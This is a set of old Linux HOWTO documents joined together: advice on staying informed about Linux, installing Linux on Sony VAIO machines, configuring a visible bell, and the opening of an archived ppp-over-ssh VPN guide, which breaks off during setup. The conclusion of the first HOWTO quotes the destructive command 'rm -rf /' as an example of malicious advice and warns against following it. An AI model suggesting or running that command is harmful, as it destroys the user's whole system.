Added more information on the workings of mailing lists. Also proper indexing is now added.

Renamed Dejanews to Deja and one chapter title. Also added note on translation now underway. Minor typos fixed.

Added link to Polish translation

Added link to Linux Focus and Linux Magazine.

Added links to French and Japanese translations as well as several online resources.

Link rot is setting in, numerous corrections made. Also expanded on searching choices.

1.4 Credits

Tomasz Sienicki | tsca <tsca (at) cryogen.com>
Satoru Takahashi <hisai (at) din.or.jp>


HOWTO: How to stay updated: Documentation Installed on Your Hard Disk

 Next Previous Contents

2. Documentation Installed on Your Hard Disk

When you start out with a Linux installation you will normally get quite a bit of information along, not just the installation pamphlet but also substantial online help and information files as well as HOWTO files. This gives you a good starting point but after a while you will find yourself interested in knowing more, updating your system and basically staying informed. For simplicity this kind of information is here divided into several types, the type you subscribe to, information you search for as well as a bit on getting more specific help efficiently.

Even if you don't get printed information of some kind with your Linux packages you will along with any self respecting distribution get a number of directories with documentation of some kind, ranging from the tersest README files for most software packages to the more in depth HOWTOs, of which this is one.

Have a look in the document archive where most packages store their main documentation and README files etc. Also you will here find the HOWTO archive of ready formatted HOWTOs and also the mini-HOWTO archive of plain text documents.

The kernel source is, of course, the ultimate documentation. In other words, use the source, Luke. It should also be pointed out that the kernel comes not only with source code which is even commented (well, partially at least) but also an informative documentation directory. If you are about to ask any questions about the kernel you should read this first, it will save you and many others a lot of time and possibly embarrassment.

The online documentation is excellent for browsing and searching but don't dismiss the printed version altogether; if you cannot even get the machine to boot, how are you going to be able to read that piece of information you need to get the system going again?


HOWTO: How to stay updated: Subscription

 Next Previous Contents

3. Subscription

This basically means you set up a subscription of some sort and then follow the news as they come in. Be careful not to bite over more than you can chew, information overload is more than a buzzword. There is also rather more junk out there than is just annoying, it is a real problem these days. Read critically and be prepared to unsubscribe.

There are two distinct medias for getting continuous updates: news and mailing lists, though sometimes news is gatewayed to mail and vice versa. In general news is a larger volume, larger noise source compared to mailing lists. Trying to follow too many newsgroups is like drinking from a fire hose.

3.1 Usenet News

Getting access to Usenet News is outside the scope of this HOWTO, there are others that will help you with getting and reading News directly from a Linux system. If you have never used News before you should be careful to read the introductory information thoroughly. In spite of looking like an anarchy it does have its own distinct culture, follow a newsgroup for some time before posting yourself. Most importantly, look out for postings called Frequently Asked Questions or FAQ as they will show you the ropes for the group it is posted to, and most likely give you the answer to what you are looking for. Asking an FAQ will earn you severe negative credibility points as well as a place in many killfiles.

FAQs should be posted regularly but if you cannot find it you can always find it at the main FAQ archive at MIT.

These are also available as web pages.

Still, there is a lot of noise, spam and junk in News and this is where killfiles come in. You will need a news reader with killfile capability and when properly set up it will scan through a newsgroup according to a search key of your own design and mark all flagged postings as already read so you don't have to be bothered by the noise. This improves the signal-to-noise ratio and lets you concentrate on the important parts. Similarly, if you make noise in News others will killfile you so if you later were to ask for help they will never see your post.

Now to business: the following is a list of useful newsgroups:

  • announcements
  • answers, HOWTOs, FAQs etc.
  • development of applications
  • development of the system
  • hardware
  • misc
  • networking
  • setting up linux
  • X11 on linux

Many national hierarchies also have Linux groups, such as the Norwegian Linux groups. If you cannot find your national or local group you might be able to use Deja to find the names for you.

3.2 Mailing Lists

Unlike Usenet News a mailing list is centralised, someone sends a mail to the server and the server in return mails everyone that is subscribed to that particular list. These lists are generally low volume but also very low noise. Any breaches of the charter will be looked harshly upon. Equally seriously it will delay the development or the project that the list is dedicated to. When you subscribe you will normally get an introductory mail describing the charter, again you are strongly recommended to read this very carefully.

There are many types of mail servers that can handle a list and you will need some information on how and where you can subscribe.

One of the most common list servers is Majordomo which is what the list server at vger.rutgers.edu is running. To learn how it works you send a mail message with the word help in the body. If you send it something it cannot parse you will get this help message anyway. If you instead mail it the word lists you will be returned a list of all mailing lists it serves, and that can be a considerable number.

Other mailing lists use several addresses, one where you send your requests such as subscribe and unsubscribe, and one where you send your contributions to the list which is usually also the address from which the list is also redistributed to you. Again, sending it the message help or something it cannot parse will give you the help information. An example: you send the word subscribe to the address corned-beef-requests@somelistserver.org and then you get mail from and contribute to the list address corned-beef-list@somelistserver.org until you unsubscribe.

A few tips before you start sending in to mailing lists:

  • Do not send subscribe etc. to the list itself, only to the server address, otherwise you will look silly and you will annoy people. There can be several thousand subscribers to a list and if such errors were to pour in the noise would be too much.
  • When you subscribe you will often get an introductory message sent to you automatically. Read it carefully as this should answer most of the initial questions.
  • Do not gateway mailing lists to news without asking first as this can cause mailing loops as well as spam.

As mentioned above, vger.rutgers.edu. is one of the main mailing list servers and here is an abbreviated index of what is available for the Linux community:

  • linux-8086 (Linux on Intel 8086 processors)
  • linux-admin (Administration of Linux systems)
  • linux-alpha (Linux on the Alpha processor platform)
  • linux-apps (Applications)
  • linux-arm (Linux on the Arm processor platform)
  • linux-bbs (Linux Bulletin Board Systems)
  • linux-c-programming (C-programming with Linux)
  • linux-config (Configuration)
  • linux-console (Console)
  • linux-diald (Dial on demand daemon)
  • linux-doc (Linux documentation)
  • linux-fido (Linux fido network)
  • linux-fsf (Linux and the Free Software Foundation)
  • linux-ftp (Linux File Transfer Protocol)
  • linux-gcc (Linux and the GNU C compiler)
  • linux-gcc-digest (Digests of the above)
  • linux-hams Amateur Radio and Linux discussions
  • linux-hppa (Linux on the HP Precision Architecture processor platform)
  • linux-ibcs2 (Linux and the Intel Binary Compatibility system)
  • linux-ipx (Linux and Novell IPX networking protocol)
  • linux-isdn (Linux and Integrated Services Digital Network)
  • linux-japanese (Linux and Japanese extensions)
  • linux-kernel (Linux kernel)
  • linux-kernel-announce (Announcements for the above)
  • linux-kernel-digest (Digests of the linux-kernel list)
  • linux-kernel-patch (Linux kernel patches)
  • linux-laptop (Linux on laptops)
  • linux-linuxss
  • linux-lugnuts (Linux User Groups)
  • linux-mca (Linux and the IBM Micro Channel Architecture bus)
  • linux-mips (Linux on the MIPS processor platform)
  • linux-msdos (Linux and MSDOS)
  • linux-msdos-devel (Linux - MSDOS development)
  • linux-msdos-digest (Digest of the linux-msdos list)
  • linux-net (Linux and networking)
  • linux-new-lists (New mailing lists for Linux)
  • linux-newbie (Linux and the inexperienced)
  • linux-newbiew
  • linux-nys
  • linux-oasg
  • linux-oi
  • linux-opengl (Linux and the OpenGL graphics system)
  • linux-pkg
  • linux-ppp (Linux and the Point-to-Point Protocol)
  • linux-pro
  • linux-qag
  • linux-raid (Linux and Redundant Array of Inexpensive Drives)
  • linux-scsi (Linux and Small Computer Systems Interface)
  • linux-serial (Linux and the serial system)
  • linux-seyon (Linux terminal system)
  • linux-smp (Linux Symmetric Multi Processing)
  • linux-sound
  • linux-standards
  • linux-svgalib (Linux and the SVGA library)
  • linux-tape (Linux and tape storage)
  • linux-term (A Linux communications program)
  • linux-userfs (Linux User File System)
  • linux-word
  • linux-x11 (Linux and the X Window System, Version 11)
  • linux-x25 (Linux and the X25 Networking Protocol)
  • sparclinux (Linux on the SPARC processor platform)
  • ultralinux (Linux on the Ultra-SPARC processor platform)

There are of course a number of other lists on other server. As this is in a constant state of flux there is little point in naming all but the most important here. Instead you could check out a web page that maintains such a list of lists on various servers of interest to Linux users. It also offers an user friendly interface to subscribe or unsubscribe to the various lists directly.

There is also a web page listing a huge number of lists concerning much more than Linux at Publicly Available Mailing Lists.

3.3 Magazines

Many have been disappointed at the lack of information on Linux in the trade press. This is probably because certain commercial products would not stand up for any comparison and the advertisers would not stand it at all. Fortunately there is one Linux specific journal, called the Linux Journal. More information on subscription etc. can be found at the SSC home page. A table of contents is usually also available online.

Another commercial paper magazine is the Linux Magazine which also offers table of contents and some excerpts online.

Also Unix Review (formerly known as Performance Computing) gives a lot of Linux coverage.

Some popular e-zines are

  • Linux Gazette
  • Linux Focus (available in a number of languages)
  • Linux Research
  • Linux Today
  • Linux News
  • Linux Netmag (English) and Linux Netmag (German)
  • Penguin Magazine

and probably a few others as new ones seem to pop quite frequently.

Check out LinuxHQ for up to date information on current news services.

New web pages with literally daily news on linux are popping up everywhere, many are quite professional in layout as well as in scope. One of the bigger ones is Freshmeat which serves out news daily.

For those who cannot afford the time to follow the net on an hourly basis yet need the important news quickly there is the Linux Weekly News, which gives you a weekly update of important news, including securities alerts and also announcements of new and updated software.

You can also find directions to IRC online chat lines at Linux.com.

There are also a number of more hardware oriented web sites worth visiting, such as Toms Hardware, Anandtech for general hardware reviews, and Storage review for the latest in disk, tape and other storage technology..


HOWTO: How to stay updated: Meetings

 Next Previous Contents

4. Meetings

Linux has been created through a massive networked effort, mostly by heavy use of the Internet. Still, there is the chance of meeting real people, face to face, in Linux user groups (LUG) that are all over the world. Search the lists that are published regularly, there could be one near you.

Conferences, install fests, creating new user groups and more is regularly announced on Usenet News announcements. Such events are excellent venues for staying on top of events and also for getting help.


HOWTO: How to stay updated: Searching

 Next Previous Contents

5. Searching

There are many avenues open when searching for something particular. Remember you can also use the web search engines and that some, like

  • Altavista
  • Excite
  • Hotbot
can also search Usenet news.

There are numerous search engines available but they are not all equal neither in method of rating relevance nor in size of database. For established, authoritative pages I recommend using Google since it scores pages by the number of links pointing to them. People often link to pages they find important or useful and Google uses this.

Google takes time to score a page properly so it is not that useful for searching for the newest or more exotic topics. For that I normally recommend either the very fast and wide spanning AllTheWeb or meta engines, web systems that forwards your request to a number of other search engines, receives the results, collates and scores before presenting you with the result. My favourite meta engine is Go2Net formerly known as MetaCrawler.

Such preferences are all subjective and the systems improve continuously so you need to experiment yourself. There is no perfect search engine and as less than 10 percent of all pages are indexed you need to try several engines if you don't succeed at first.

Also remember that Deja is a dedicated news searcher that keeps a news spool from early 1995 and onwards.

Even though more and more things take place of the web these days, do not forget that there is a lot of information available on the various ftp servers around the world. Some web search engines also index ftp servers but the tool of choice is still the Archie servers, systems that regularly scan major ftp servers around the world and keep lists of files. These can be accessed in many ways, either by Archie clients like archie or the X11 version xarchie which should be available on any well maintained linux system. Failing that you can access archie servers using telnet to any of the servers listed

  • Australia
  • Austria
  • Belgium
  • Finland
  • Germany
  • Korea
  • Italy
  • Japan
  • Poland
  • Sweden
  • Spain
  • United Kingdom
  • United States
  • United States

Of course you should try to use the server closest to you, and to see the list of current server you can either start the Archie client with no arguments or, if telnetting, by querying the server. Online help is available. Unfortunately not all servers are synchronised, so you might have to search a few before finding what you are looking for.

Recently a more user friendly ftp index server entered the net, the ftpsearch engine, featuring many options and with a rather stark interface, in the best Unix tradition.

Most of these offer help on efficient searching techniques, reading this can speed up your searches enormously. Investing a little time here will pay off in the long run.

If you have trouble getting onto the Internet but have mail then you should have a look at the access via mail FAQ. Naturally you can get it over e-mail using the US, Canada and South America server entering only this line in the BODY of the note:

send usenet/news.answers/internet-services/access-via-email

or Europe, Asia etc server entering only this line in the BODY of the note:

send lis-iis e-access-inet.txt

or look through your news spool if you have one locally in news.answers newsgroup.

Finally, you might wish to get more information from a person, say an author of a software package. usually you can find the e-mail address in the accompanying documentation which normally would be in the documentation subdirectory but failing that and also if the given address is no longer valid you could find help in the FAQ for finding e-mail addresses.


HOWTO: How to stay updated: Conclusion

 Next Previous Contents

6. Conclusion

Finding information fast and efficiently is more of an art than a science and we still have not touched on the really difficult part: how do you determine the actual quality of the information? It is outside the scope of this HOWTO to tell you that but it is still something you should keep in mind. You should at least check the information is recent enough to be current to your problem.

As a bare minimum you should ensure a minimum of validity of the documentation to avoid misleading or malicious advice. A surprising number of people suggests things like rm -rf / as a solution for a given problem. Some see it as an obvious prank, the unaware can end up destroying his or her setup. Just to avoid such things you should check out a few things before rushing ahead:

  • Is there a name attached to the document? If people are serious about what they write it should not be anonymous.
  • Is it dated? Documents tend to evolve as the technology advances. Be sure you are reading the latest version. Internet search engines can help you here.
  • Are there any followups? Be sure to check any followups or comments to what you read, otherwise you might miss a warning or a correction.

If you keep this in mind you should not fall for too many of the scams that circulate on the net, from get well-cards for Craig Shergold, chain letters to the more recent problems of Trojans for Linux that tries to trick you into mailing off your password.

There is a number of FAQs available that deals with more serious research method topics and you can also see a comprehensive on-line version.

Finally, do not forget the Linux Documentation Project site that coordinates documentation for Linux. Updates and new documents are issued regularly, reflecting the development in the field.

Quoted from someone's signature:

Be alert! The world needs more lerts.


Linux on Sony VAIO mini-HOWTO

Hideki Saito hideki@chatlink.com

v1.1, 16 September 1998

This document explains installation of Linux on Sony VAIO computers.

1. Introduction

  • 1.1 Notes
  • 1.2 Notes about different systems
  • 1.3 Update History
  • 1.4 Disclaimer
  • 1.5 What this document all about?

2. Hardware compatibilities issue

  • 2.1 Hardware that not compatible with Linux
  • 2.2 Partially compatible hardwares

3. How to install Linux?

4. After all...

5. Little Legal notes

6. Special thanks


Linux on Sony VAIO mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Notes

This document first appeared in "Hideki Saito's Homepage" at

http://ryoohki.anime.net/~hideki/
. This version of HOWTO is rewritten for updated information. HTML version is found in http://ryoohki.anime.net/ hideki/VAIO+Linux.html. You may distribute this document freely. When you publish it, please drop me a note; I just want know how this documents are used :)

1.2 Notes about different systems

I've recently received some mail stating that some of contents in this document is incorrect. It is because some reason, hardware installed on more recent systems are slightly different than older systems. I will start covering those information. But since of course, I don't have every system in here, I would like to ask Sony VAIO owners to tell me more information about it. This would help me a lot if you can put [VAIO Information] in the beginning of the subject, so I can take extra attention to it. Also, please include model number of the system. If it is notebook, please include that information in a content, or in a subject. I would like to apologize to ones that got confused by this document. (Addition: 12/29/98)

1.3 Update History

12/29/98 Added several updates

1.4 Disclaimer

Also most of procedures in this document is tested, I will take no responsibilities for any problem caused by using any information in this document. As like in GPL, please try anything in your own risk. I am not native English writer, and you will find many mistakes in this document. Please excuse me on those. Any corrections and clarifications are welcome; please send those to hideki@chatlink.com.

1.5 What this document all about?

In this HOWTO, I will go over how to use Linux under Sony VAIO computers. The VAIO computers are great, but was not very friendly to Linux. But this isn't mean that you cannot use it, actually you can! Throughout this document, I will assume that you own either PCV 70 or 90. Since almost all VAIO models are similar in their architecture (although newer ones have larger disks, updated video card, more RAM, etc), many of contents in this document should apply to all VAIO models.


Linux on Sony VAIO mini-HOWTO: Hardware compatibilities issue

 Next Previous Contents

2. Hardware compatibilities issue

2.1 Hardware that not compatible with Linux

Most of hardwares installed in the system are compatible under Linux. However there are exceptions of modem, USB Port and MPEG decoder. Please be aware that you cannot use modem, which should be problem for some of you. Modems installed in the VAIO is called DSVD modem, which is the variant of the "Winmodem."

(Addition: 12/28/98) Newer model seems to have normal modem instead of Winmodem.

2.2 Partially compatible hardwares

The soundcard and the Video card installed are partially compatible.

Soundcard

Soundcard is compatible under Linux with supports of Microsoft Sound System + Sound Blaster, if you want to use MIDI under Linux, you need to compromise your sound input capabilities. For this case, cancel out the Sound Blaster. If you need MIDI, and sound input, you may want consider buying OSS/Linux, which you can use all of its capabilities under Linux. The soundcard equipped with the VAIO is Yamaha OPL3SA, and OSS/Linux has full support to it. It seems like that the wavetable synthesis mentioned in the specification is really the soft synthesizer, so you are not missing hardware capabilities on it. As the time I am writing this, there is the OSS/Free 3.8, which supports this soundcard under Yamaha OPL3-SA1 audio controller. Please note that this is not initially installed on 2.0.x. You will need to download from OSS site. 2.1.x comes with updated version of OSS/Free, but I haven't tested compatibility with it. If you see that it is working with this soundcard, please let me know.

Video Card

Videocard is partially supported under Linux. You will have no problem using it under Linux console mode. If you wish to use it under X Window, get 3.3.1 or later XFree86, which has support to ATI Rage. Other commercial X Window system should support this, too. However, 3D acceleration of this video card will not work under Linux, as there is no driver for this. (Update 12/29/98) For model number 505, ALSA drivers on XFree86 V3.3.3 or later is compatible.


Linux on Sony VAIO mini-HOWTO: How to install Linux?

 Next Previous Contents

3. How to install Linux?

Installing Linux on the system will not be big problem. However, you need to aware that initially, there are one non-DOS partition on the system. I have no idea what that partition is. It is 400MB partition, and it is visible by running fdisk. I simply deleted this partition to allocate it for Linux. And I don't have any problem, so probably it must be something to do with software installation. (Update 12/29/98) This 400MB partition is only on older models, it really supporsed to be another 400MB DOS partition, but Sony made mistake on it. Please refer to other instruction for general installation of Linux. The VAIO has nice support that you can boot directly from CD-ROM, if CD-ROM is bootable. Since the BIOS supports it, it is what you can use in some distribution. This is nice, because you can perform floppyless installation. Particularly, Redhat could boot from CD-ROM. Other distribution like SUSE also claims that it can boot from CD-ROM. But as I have not checked those yet, I cannot be sure on that. If that this way of booting does not work with yours, try checking boot option in the BIOS. Kernel configuration shouldn't be big problem except for the part to setup soundcard. But as I covered that issue earlier, I will not talk about it in this section. The VAIO computer is equipped with APM BIOS, or Advanced Power Management BIOS, I personally don't recommend that you enable support to it under Linux. I had problem when I enabled it. (Update 12/29/98) I have received report that with 505, CD-ROM install is difficult and network install is much easier.


Linux on Sony VAIO mini-HOWTO: After all...

 Next Previous Contents

4. After all...

Everything went well? I hope it did. Now your Sony VAIO computer is one of the best Linux workstation. If you have any problem, I may have answer to your questions. Please just send those to hideki@chatlink.com anytime. I will try to answer those as soon as possible.


Linux on Sony VAIO mini-HOWTO: Little Legal notes

 Next Previous Contents

5. Little Legal notes

VAIO is the trademark of Sony. All other trademark appeared in this documents are belonged to their respective holders. The copyright of this document is reserved by Hideki Saito.


Linux on Sony VAIO mini-HOWTO: Special thanks

 Next Previous Contents

6. Special thanks

I would like to thank to following people, not in any particular order: Daniel Nunes. If you feel that your name should be on this section, please let me know by mail. (recentlly I lost big portion of my mail spool by accident, so it maybe the case)


Visible bell mini-Howto

Alessandro Rubini, rubini@linux.it

v2.3, 2001-12-03

This document explains how to use termcap to configure a visual bell on one's system and describes how to disable audible bells on demand.

1. Copyright and License

2. Introduction

3. Spekearectomy

4. Per-console Beep Configuration

5. Basic Concepts About Termcap and Terminfo

6. Defining a Visible Bell

7. Disabling the Audible Bell on the Text Console

8. Telling Applications to Avoid Beeping

9. The Dark Side of the Problem


Visible bell mini-Howto: Copyright and License

 Next Previous Contents

1. Copyright and License

This document is Copyright (c) 1997, Alessandro Rubini.

This document is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from http://www.fsf.org/licenses/fdl.html.


Visible bell mini-Howto: Introduction

 Next Previous Contents

2. Introduction

The Linux console driver beeps the audible bell whenever a BEL char is output (ASCII code 7). Though this is a right choice for the default behaviour, many users don't like their computer to beep. This mini-Howto is meant to explain how to tell applications not to output the BEL code. It also explain how to instruct the kernel and the X Window System to avoid beeping when a BEL is output. Note that most of this document refers to the text console, as configuring the X server is an easy catch-all for any user who works in a graphic environment.

In my opinion the best way to face a fussy computer is fixing the hardware, and my own computer doesn't even carry a loudspeaker.


Visible bell mini-Howto: Spekearectomy

 Next Previous Contents

3. Spekearectomy

Speakerectomy is by far the most brilliant solution to the audible bell problem. As its name implies, it consists in removing the beeps by removing the beeper. The operation is straightforward and you don't even need any anesthetic, but if you want there's room for refinement.

PC's are usually equipped with a silly switch to lower CPU clock. The switch is never used when you work in a multitasking environment, as you don't even need to slow the computer down to run games based on software loops. Unfortunately we can't use the switch to increase processor speed, but we can use it to enable/disable the loudspeaker. Sometimes the speaker is useful even if you enjoy a silent number cruncher, for example to signal the end of a lenghty compilation. To modify the switch functionality, just detatch it from the main board and connect its wires in series with the loudspeaker.

Owners of laptop boxes, unfortunately, don't have easy access to the loudspeaker, and neither they have a spare switch to turn to a different task. The preferred solution for such users is configuring their software to avoid beeping, as described below.


Visible bell mini-Howto: Per-console Beep Configuration

 Next Previous Contents

4. Per-console Beep Configuration

As of Linux 1.3.43, Martin Mares added the ability to configure the pitch and duration of the beep, by modifying console.c. Each console can be configured to feature a different duration and/or pitch of the bell sound; the task is accomplished by using escape sequences to the console device. You can configure your own ~/.profile or ~/.login file to select a different beep sound associated to each console (or no beep at all, if needed).

The escape sequences work as follow:

  • ESC-[10;xx] selects the bell frequency in Hertz. The value should be in the range 21-32766, otherwise the result is undefined. If the `xx' argument is missing, the default value (750Hz) will apply, as in `ESC-[10].
  • ESC-[11;xx] selects the bell duration, in milli-seconds. If you specify more than 2 seconds, the default applies (125ms). Once again, if the `xx' argument is missing (ESC-[11]) the default value will be used.

To select, for example, a 50Hz pitch for one-second duration, you can "echo -e "\\33[10;50]\\33[11;1000]"" with bash (where "-e" means `understand Escape sequences'. If you use tcsh the same command spells "echo "\\033[10;50]\\033[11;1000]"".

Although I don't know of any version of the setterm command that supports such configuration, a future version of the command might well support a command-line option to configure the bell sound.

If you run Linux-1.3.43 or newer, you may be satisfied with the escape sequences and avoid reading further. If you run an older kernel, or if you want the visual bell, you'll enjoy the rest of this document.


Visible bell mini-Howto: Basic Concepts About Termcap and Terminfo

 Next Previous Contents

5. Basic Concepts About Termcap and Terminfo

The file /etc/termcap is a text file that lists the terminal capabilities. Several applications use the termcap information to move the cursor around the screen and do other screen-oriented tasks. tcsh, bash, vi and all the curses-based applications use the termcap database.

The database describes several terminal types. The TERM environment variable selects the right behaviour at run-time, by naming a termcap entry to be used by applications.

Within the database, each capability of the terminal appears as a two-letter code and a representation of the actual escape sequence used to get the desired effect. The separator character between different capabilities is the colon (":"). As an example, the audible bell, with code "bl", usually appears as "bl=^G". This sequence tells that the bell sound is obtained by printing the control-G character, the ASCII BEL.

In addition to the bl capability, the vb capability is recognized. It is used to represent the "visible bell". vb is usually missing in the linux entry of the termcap file.

Most modern applications and libraries use the terminfo database instead of termcap. This database uses one file per terminal-type and lives in /usr/lib/terminfo; to avoid using huge directories, the description of each terminal type is stored in a directory named after its first letter; the linux entry, therefore, is /usr/lib/terminfo/l/linux. To build a terminfo entry you'll ``compile'' the termcap description; refer to the tic program and its manual page.


Visible bell mini-Howto: Defining a Visible Bell

 Next Previous Contents

6. Defining a Visible Bell

You can add the entry for the vb capability in your own termcap file, if it doesn't already define one. Dennis Henriksen (duke@diku.dk) suggested to insert the following line in the termcap entry for linux (note that the entry is called console in old distributions):

:vb=\E7\E[?5h\E[?5l\E[?5h\E[?5l\E[?5h\E[?5l\E[?5h\E[?5l\E8:\
The trailing backslash is used to escape the newline in the database. Dennis' code does the following (his own words):
  • Save the cursor position (uust a safety precaution).
  • Change the background color several times between normal and reverse.
  • Restore the cursor position.


Visible bell mini-Howto: Disabling the Audible Bell on the Text Console

 Next Previous Contents

7. Disabling the Audible Bell on the Text Console

If you want to force the visible bell on your console you can use the "bl" entry in termcap and define it with the same string suggested for "vb" above. This approach is handy if you don't want to customize each application (which is described below, anyway). I use this option on all the machines where I can run Linux and I can't detach the speaker.


Visible bell mini-Howto: Telling Applications to Avoid Beeping

 Next Previous Contents

8. Telling Applications to Avoid Beeping

This is an incomplete list of applications that can be instrued to use the vb entry for the current terminal type (using either the termcap information or the terminfo one):

  • The X server: use the "xset b" command to select the bell's behaviour. The command takes three numeric arguments: volume, pitch and duration. "xset -b" disables the bell altogether. Configuring the X server affects all the applications running on the display.
  • xterm: xterm can convert each bell to either a visible or audible signal. If you use the audible bell, the settings of "xset" will apply. The bell in xterm defualts to be audible, but you can use the "-vb" command line option and the "xterm*visualBell: true" resource to turn it to a visible flash. You can toggle visible/audible signaling at run-time by using the menu invoked by control--left-mouse-button. If you run X you most likely won't need the following information.
  • tcsh (6.04 and later): "set visiblebell". The instruction can be placed in .cshrc or can be issued interactively. To reset the audible bell just "unset visiblebell". To disable any notification issue use "set nobeep" instead.
  • bash (any bash, as fas as I know): put "set bell-style visible" in your ~/.bashrc. Possible bell-style's are also "none" or "audible".
  • bash (with readline, as well as other readline based applications): put "set prefer-visible-bell" in ~/.inputrc.
  • nvi and elvis: put "set flash" in ~/.exrc or tell ":set flash" interactively (note the colon). To disable the visible bell use noflash in place of flash.
  • emacs: put "(setq visible-bell t)" in your ~/.emacs. It is disabled by "(setq visible-bell nil)".
  • less: use "-q" on command line to use the visual bell, use "-Q" to disable any reporting. Default options can be put in your environment variable "LESS".
  • screen: issue the CtrlA-CtrlG command. It changes the behaviour of all the virtual screens. Refer to the man page under "CUSTOMIZATION" for setting the default.


Visible bell mini-Howto: The Dark Side of the Problem

 Next Previous Contents

9. The Dark Side of the Problem

The bad news is that not every application uses termcap or terminfo. Most small programs feature 'backslash-a' (alarm) characters in the C source code. The "alarm" code becomes a literal ASCII BEL in the strings as stored in the executable binary. Real application don't usually fall in this category, but be careful of C newcomers who give you their own programs. Students of computer science are the worst of all, granted.

The only way to make these programs silent applications is spekearectomy, or using the escape sequences by Martin Mares.


The VPN HOWTO

Arpad Magosanyi <mag@bunuel.tii.matav.hu> v0.2,7 Aug1997

v0.3, 2001-12-01

Archived Document Notice: This document has been archived by the LDP because it does not apply to modern Linux systems. It is no longer being actively maintained.

1. Changes

2. Blurb

  • 2.1 Copyright
  • 2.2 Disclaimer
  • 2.3 Disclaimer
  • 2.4 Credits
  • 2.5 State of this document
  • 2.6 Related documentations

3. Introduction

  • 3.1 Naming conventions

4. Doing it

  • 4.1 Planning
  • 4.2 Gathering the tools
  • 4.3 Compile and install
  • 4.4 Configure the other subsystems
  • 4.5 Set up the accounts for the VPN
  • 4.6 Generate an ssh key for your master account
  • 4.7 Set up automatic ssh login for the slave account
  • 4.8 Tighten ssh security on the bastions.
  • 4.9 Enable execution of ppp and route for both accounts.
  • 4.10 Do the scripting

5. Look at what's happening:

6. Doing it by hand.

  • 6.1 Logging in
  • 6.2 Firing up ppp
  • 6.3 Together the two
  • 6.4 Pty redirecting
  • 6.5 Is anything on the device?
  • 6.6 Setting up the routes

7. Tuning

  • 7.1 Configuration tuning
  • 7.2 Bandwith vs. cicles

8. Vulnerability analisis

  • 8.1 About the ppp over ssh VPN technique


The VPN HOWTO : Changes

 Next Previous Contents

1. Changes

The 'no controlling tty problem' -> -o 'BatchMode yes' by Zot O'Connor <zot@crl.com>

warning about kernel 2.0.30 by mag


The VPN HOWTO : Blurb

 Next Previous Contents

2. Blurb

This is the Linux VPN howto, a collection of information on how to set up a Virtual Protected Network in Linux (and other unices in general).

2.1 Copyright

This document is part of the Linux Documentation Project. The copyright notice is the following:

The VPN mini HOWTO written by me can be copied, distributed, and/or modified under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Section being the section entitled "About the ppp over ssh vpn technique", with any Front-Cover Text containing the p= hrase "Based on the work of Arpad Magosanyi", and with any Back-Cover Text.

2.2 Disclaimer

As usual: the author not responsible for any damage. For the correct wording, see the relevant part of the GNU GPL 0.1.1

2.3 Disclaimer

We are dealing with security: you are not safe if you haven't got good security policy, and other rather boring things.

2.4 Credits

Thanks to all of who has written the tools used.

Thanks to Zot O'Connor <zot@crl.com> for pointing out the "no controlling tty" problem, and it's solution.

2.5 State of this document

This is very preliminary. You should have thorough knowledge of administrating IP, at least some knowledge of firewalls, ppp and ssh. You should know them anyway if you want to set up a VPN. I just decided to write down my experiences not to forget them. There are possibly some security holes indeed. To be fair I've tried it on hosts configured as routers not firewalls, saying: It's simple from that point.

2.6 Related documentations

  • The Linux Firewall-HOWTO /usr/doc/HOWTO/Firewall-HOWTO
  • The Linux PPP-HOWTO /usr/doc/HOWTO/PPP-HOWTO.gz
  • The ssh documentations /usr/doc/ssh/*
  • The Linux Network Admins' Guide
  • NIST Computer Security Special Publications http://csrc.ncsl.nist.gov/nistpubs/
  • Firewall list (majordomo@greatcircle.com)


The VPN HOWTO : Introduction

 Next Previous Contents

3. Introduction

As firewalls are in more and more widely use in internet and intranet security, the ability to do nice VPNs is important. Here are my experiences. Comments are welcome.

3.1 Naming conventions

I will use the terms "master firewall" and "slave firewall", though making a VPN has nothing to do with client-server architecture. I simply refer to them as the active and passive participants of the connection's setup. The host which is starts the setup will be referred as the master, and the passive participant will be the slave.


The VPN HOWTO : Doing it

 Next Previous Contents

4. Doing it

4.1 Planning

Before you start to set up your system, you should know the networking details. I assume you have two firewalls protecting one intranet per firewall, and they are both connected to the internet. So now you should have two network interfaces (at least) per firewall. Take a sheet of paper, write down their IP addresses and network mask. You will need one more IP adresses per firewall for the VPN you want to do now. Those addresses should be outside of your existing subnets. I suggest using addresses from the "private" address ranges. They are the followings:

  • 10.0.0.0 - 10.255.255.255
  • 172.16.0.0 - 172.31.255.255
  • 192.168.0.0 - 192.168.255.255

For the sake of example, here's a sample configuration: The two bastions are called fellini and polanski. They have one interface for the internet (-out), one for the intranet (-in), and one for the vpn (-vpn). The addresses and netmasks:

  • fellini-out: 193.6.34.12 255.255.255.0
  • fellini-in: 193.6.35.12 255.255.255.0
  • fellini-vpn: 192.168.0.1 point-to-point
  • polanski-out: 193.6.36.12 255.255.255.0
  • polanski-in: 193.6.37.12 255.255.255.0
  • polanski-vpn: 192.168.0.2 point-to-point

So we have the plan.

4.2 Gathering the tools

You will need a

  • Linux firewall
  • kernel
  • very minimal configuration
  • ipfwadm
  • fwtk
  • Tools for the VPN
  • ssh
  • pppd
  • sudo
  • pty-redir

Current versions:

  • kernel: 2.0.29 Use a stable kernel, and it must be newer than 2.0.20, because the ping'o'death bug. At the time of writing 2.0.30 is the last "stable" kernel, but it has some bugs. If you want to have the fast and cool networking code introduced in it, try a prepatch. the 3rd is working for me nicely.
  • base system: I prefer Debian. YMMV. You absolutely don't want to use any big packages, and you never even tought of using sendmail, of course. You also definitely don't want to enable telnet, ftp, and the 'r' commands (as usual in case of any other unix hosts).
  • ipfwadm: I've used 2.3.0
  • fwtk: I've used 1.3
  • ssh: >= 1.2.20. There are problems with the underlying protocol in the older versions.
  • pppd: I've used 2.2.0f for the tests, but I'm not sure if is it secure, this is why I turned the setuid bit off, and used sudo to launch it.
  • sudo: 1.5.2 the newest I am aware of
  • pty-redir: It is written by me. Try ftp://ftp.vein.hu/ssa/contrib/mag/pty-redir-0.1.tar.gz. Its version number is 0.1 now. Tell me it there is any problem with it.

4.3 Compile and install

Compile or otherwise install the gathered tools. Look at every one's documentation (and the firewall-howto) for details. Now we have the tools.

4.4 Configure the other subsystems

Configure your firewall rules, etc. You need to enable ssh traffic between the two firewll hosts. It means a connection to port 22 on the slave from the master. Start sshd on the slave and verify if you can login. This step is untested, please tell me your results.

